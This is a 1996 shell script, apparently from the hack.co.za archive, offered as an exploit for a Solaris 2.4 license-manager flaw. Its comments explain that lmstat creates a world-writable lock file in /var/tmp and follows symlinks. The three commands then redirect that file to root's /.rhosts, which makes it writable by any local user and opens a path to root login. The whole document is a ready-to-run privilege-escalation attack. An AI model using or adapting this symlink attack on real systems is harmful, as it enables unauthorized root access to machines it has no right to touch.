#!/bin/sh
#
#                        solaris 2.4 license-manager bug
#                                       
#   Grant Kaufmann (gkaufman@cs.uct.ac.za)
#   Wed, 16 Oct 1996 23:46:07 +0200
#   
# Another bug for solaris 2.4
# The license manager must be running, expect both
# lmgrd.ste & suntechd to be somewhere in your process table.
#
# /var/tmp/locksuntechd will be created by anyone who runs
# lmstat, with perms 666 and quite happy to follow symlinks.
# Anyway, here's the exploit.

rm /var/tmp/locksuntechd
ln -s /.rhosts /var/tmp/locksuntechd
lmstat -c /etc/opt/licenses
#                 www.hack.co.za           [2000]#